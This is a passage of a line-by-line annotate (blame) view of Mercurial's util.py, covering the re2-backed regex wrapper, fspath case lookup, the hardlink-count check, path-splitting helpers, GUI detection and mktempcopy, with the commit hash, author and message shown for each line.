8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1761
    import re2
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1762
    _re2 = None
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1763
except ImportError:
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1764
    _re2 = False
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1765
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1766
class _re(object):
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1767
    def _checkre2(self):
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1768
        global _re2
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1769
        try:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1770
            # check if match works, see issue3964
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1771
            _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1772
        except ImportError:
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1773
            _re2 = False
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1774
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1775
    def compile(self, pat, flags=0):
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1776
        '''Compile a regular expression, using re2 if possible
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1777
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1778
        For best performance, use only re2-compatible regexp features. The
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1779
        only flags from the re module that are re2-compatible are
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1780
        IGNORECASE and MULTILINE.'''
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1781
        if _re2 is None:
21913
50aad4609224 util.re: move check for re2 into a separate method
Siddharth Agarwal <sid0@fb.com>
parents: 21912
diff changeset
  1782
            self._checkre2()
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1783
        if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1784
            if flags & remod.IGNORECASE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1785
                pat = '(?i)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1786
            if flags & remod.MULTILINE:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1787
                pat = '(?m)' + pat
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1788
            try:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1789
                return re2.compile(pat)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1790
            except re2.error:
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1791
                pass
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1792
        return remod.compile(pat, flags)
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1793
21914
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1794
    @propertycache
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1795
    def escape(self):
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1796
        '''Return the version of escape corresponding to self.compile.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1797
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1798
        This is imperfect because whether re2 or re is used for a particular
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1799
        function depends on the flags, etc, but it's the best we can do.
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1800
        '''
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1801
        global _re2
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1802
        if _re2 is None:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1803
            self._checkre2()
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1804
        if _re2:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1805
            return re2.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1806
        else:
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1807
            return remod.escape
10e99839a7a4 util.re: add an escape method
Siddharth Agarwal <sid0@fb.com>
parents: 21913
diff changeset
  1808
21908
cad9dadc9d26 util: move compilere to a class
Siddharth Agarwal <sid0@fb.com>
parents: 21907
diff changeset
  1809
re = _re()
16943
8d08a28aa63e matcher: use re2 bindings if available
Bryan O'Sullivan <bryano@fb.com>
parents: 16873
diff changeset
  1810
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1811
_fspathcache = {}
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1812
def fspath(name, root):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1813
    '''Get name in the case stored in the filesystem
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1814
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1815
    The name should be relative to root, and be normcase-ed for efficiency.
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1816
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1817
    Note that this function is unnecessary, and should not be
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1818
    called, for case-sensitive filesystems (simply because it's expensive).
15670
d6c19cfa03ce icasefs: avoid normcase()-ing in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15669
diff changeset
  1819
15710
f63e40047372 icasefs: avoid path-absoluteness/existance check in util.fspath() for efficiency
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15709
diff changeset
  1820
    The root should be normcase-ed, too.
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1821
    '''
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1822
    def _makefspathcacheentry(dir):
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1823
        return dict((normcase(n), n) for n in os.listdir(dir))
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1824
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
  1825
    seps = pycompat.ossep
30625
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
  1826
    if pycompat.osaltsep:
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
  1827
        seps = seps + pycompat.osaltsep
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1828
    # Protect backslashes. This gets silly very quickly.
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1829
    seps.replace('\\','\\\\')
31496
670166e0fcaa util: use bytes re on bytes input in fspath
Augie Fackler <augie@google.com>
parents: 31495
diff changeset
  1830
    pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
  1831
    dir = os.path.normpath(root)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1832
    result = []
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1833
    for part, sep in pattern.findall(name):
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1834
        if sep:
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1835
            result.append(sep)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1836
            continue
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1837
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
  1838
        if dir not in _fspathcache:
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1839
            _fspathcache[dir] = _makefspathcacheentry(dir)
15719
1dd60426b061 icasefs: follow standard cache look up pattern
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15718
diff changeset
  1840
        contents = _fspathcache[dir]
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1841
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1842
        found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1843
        if not found:
15720
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
  1844
            # retry "once per directory" per "dirstate.walk" which
3bcfea777efc icasefs: rewrite comment to explain situtation precisely
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15719
diff changeset
  1845
            # may take place for each patches of "hg qpush", for example
23097
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1846
            _fspathcache[dir] = contents = _makefspathcacheentry(dir)
30124c40d11f util.fspath: use a dict rather than a linear scan for lookups
Siddharth Agarwal <sid0@fb.com>
parents: 23076
diff changeset
  1847
            found = contents.get(part)
15709
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1848
a1f4bd47d18e icasefs: retry directory scan once for already invalidated cache
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15674
diff changeset
  1849
        result.append(found or part)
15669
390bcd01775a icasefs: use util.normcase() instead of lower() or os.path.normcase in fspath
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 15667
diff changeset
  1850
        dir = os.path.join(dir, part)
6676
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1851
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1852
    return ''.join(result)
33045179d079 Add a new function, fspath
Paul Moore <p.f.moore@gmail.com>
parents: 6595
diff changeset
  1853
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1854
def checknlink(testfile):
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1855
    '''check whether hardlink count reporting works properly'''
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1856
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1857
    # testfile may be open, so we need a separate file for checking to
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1858
    # work around issue2543 (or testfile may get lost on Samba shares)
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
  1859
    f1, f2, fp = None, None, None
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1860
    try:
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1861
        fd, f1 = tempfile.mkstemp(prefix='.%s-' % os.path.basename(testfile),
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1862
                                  suffix='1~', dir=os.path.dirname(testfile))
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1863
        os.close(fd)
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1864
        f2 = '%s2~' % f1[:-2]
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1865
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
  1866
        oslink(f1, f2)
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1867
        # nlinks() may behave differently for files on Windows shares if
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1868
        # the file is open.
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
  1869
        fp = posixfile(f2)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1870
        return nlinks(f2) > 1
25088
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
  1871
    except OSError:
754df8e932d3 util: use try/except/finally
Matt Mackall <mpm@selenic.com>
parents: 24902
diff changeset
  1872
        return False
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1873
    finally:
34084
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
  1874
        if fp is not None:
6c5cdb02f2f9 checknlink: rename file object from 'fd' to 'fp'
Jun Wu <quark@fb.com>
parents: 34079
diff changeset
  1875
            fp.close()
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1876
        for f in (f1, f2):
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1877
            try:
34079
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1878
                if f is not None:
1104718fb090 checknlink: use a random temp file name for checking
Jun Wu <quark@fb.com>
parents: 34072
diff changeset
  1879
                    os.unlink(f)
13204
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1880
            except OSError:
5b83ab614dab checknlink: use two testfiles (issue2543)
Adrian Buehlmann <adrian@cadifra.com>
parents: 13188
diff changeset
  1881
                pass
12938
bf826c0b9537 opener: check hardlink count reporting (issue1866)
Adrian Buehlmann <adrian@cadifra.com>
parents: 12927
diff changeset
  1882
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
  1883
def endswithsep(path):
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
  1884
    '''Check path ends with os.sep or os.altsep.'''
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
  1885
    return (path.endswith(pycompat.ossep)
30625
bcf4a975f93d py3: replace os.altsep with pycompat.altsep
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30613
diff changeset
  1886
            or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
5843
83c354c4d529 Add endswithsep() and use it instead of using os.sep and os.altsep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5802
diff changeset
  1887
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1888
def splitpath(path):
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1889
    '''Split path by os.sep.
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1890
    Note that this function does not use os.altsep because this is
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1891
    an alternative of simple "xxx.split(os.sep)".
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1892
    It is recommended to use os.path.normpath() before using this
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1893
    function if need.'''
30613
1112ff99d965 py3: replace os.sep with pycompat.ossep (part 1 of 4)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30536
diff changeset
  1894
    return path.split(pycompat.ossep)
5844
07d8eb78dd68 Add util.splitpath() and use it instead of using os.sep directly.
Shun-ichi GOTO <shunichi.goto@gmail.com>
parents: 5843
diff changeset
  1895
6007
090b1a665901 filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents: 6006
diff changeset
  1896
def gui():
090b1a665901 filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents: 6006
diff changeset
  1897
    '''Are we running in a GUI?'''
34647
dacfcdd8b94e codemod: use pycompat.isdarwin
Jun Wu <quark@fb.com>
parents: 34646
diff changeset
  1898
    if pycompat.isdarwin:
30637
344e68882cd3 py3: replace os.environ with encoding.environ (part 4 of 5)
Pulkit Goyal <7895pulkit@gmail.com>
parents: 30625
diff changeset
  1899
        if 'SSH_CONNECTION' in encoding.environ:
13734
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1900
            # handle SSH access to a box where the user is logged in
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1901
            return False
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1902
        elif getattr(osutil, 'isgui', None):
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1903
            # check if a CoreGraphics session is available
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1904
            return osutil.isgui()
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1905
        else:
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1906
            # pure build; use a safe default
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1907
            return True
16118b4859a1 util: add Mac-specific check whether we're in a GUI session (issue2553)
Dan Villiom Podlaski Christiansen <danchr@gmail.com>
parents: 13439
diff changeset
  1908
    else:
34645
75979c8d4572 codemod: use pycompat.iswindows
Jun Wu <quark@fb.com>
parents: 34554
diff changeset
  1909
        return pycompat.iswindows or encoding.environ.get("DISPLAY")
6007
090b1a665901 filemerge: add config item for GUI tools
Matt Mackall <mpm@selenic.com>
parents: 6006
diff changeset
  1910
6062
3c3b126e5619 Make files in .hg inherit the permissions from .hg/store
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 6007
diff changeset
  1911
def mktempcopy(name, emptyok=False, createmode=None):
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1912
    """Create a temporary file with the same contents from name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1913
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1914
    The permission bits are copied from the original file.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1915
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1916
    If the temporary file is going to be truncated immediately, you
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1917
    can use emptyok=True as an optimization.
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1918
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1919
    Returns the name of the temporary file.
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1920
    """
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1921
    d, fn = os.path.split(name)
34002
2ad028635ccd util: use ~ as a suffix for a temp file in the same directory as a source file
Michael Bolin <mbolin@fb.com>
parents: 33853
diff changeset
  1922
    fd, temp = tempfile.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1923
    os.close(fd)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1924
    # Temporary files are created with mode 0600, which is usually not
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1925
    # what we want.  If the original file already exists, just copy
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1926
    # its mode.  Otherwise, manually obey umask.
15010
c3114acd8ea2 util: factor new function copymode out of mktempcopy
Adrian Buehlmann <adrian@cadifra.com>
parents: 14999
diff changeset
  1927
    copymode(name, temp, createmode)
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1928
    if emptyok:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1929
        return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1930
    try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1931
        try:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1932
            ifp = posixfile(name, "rb")
25660
328739ea70c3 global: mass rewrite to use modern exception syntax
Gregory Szorc <gregory.szorc@gmail.com>
parents: 25420
diff changeset
  1933
        except IOError as inst:
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1934
            if inst.errno == errno.ENOENT:
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1935
                return temp
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1936
            if not getattr(inst, 'filename', None):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1937
                inst.filename = name
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1938
            raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1939
        ofp = posixfile(temp, "wb")
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1940
        for chunk in filechunkiter(ifp):
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1941
            ofp.write(chunk)
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1942
        ifp.close()
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1943
        ofp.close()
16705
c2d9ef43ff6c check-code: ignore naked excepts with a "re-raise" comment
Brodie Rao <brodie@sf.io>
parents: 16703
diff changeset
  1944
    except: # re-raises
34435
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
  1945
        try:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
  1946
            os.unlink(temp)
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
  1947
        except OSError:
5326e4ef1dab style: never put multiple statements on one line
Alex Gaynor <agaynor@mozilla.com>
parents: 34362
diff changeset
  1948
            pass
4827
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1949
        raise
89defeae88f3 turn util.opener into a class
Alexis S. L. Carvalho <alexis@cecm.usp.br>
parents: 4803
diff changeset
  1950
    return temp
2176
9b42304d9896 fix file handling bugs on windows.
Vadim Gelfer <vadim.gelfer@gmail.com>
parents: 2117
diff changeset
  1951
29200
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1952
class filestat(object):
ca4065028e00 util: add filestat class to detect ambiguity of file stat
FUJIWARA Katsunori <foozy@lares.dti.ne.jp>
parents: 29017
diff changeset
  1953
    """help to exactly detect change of a file
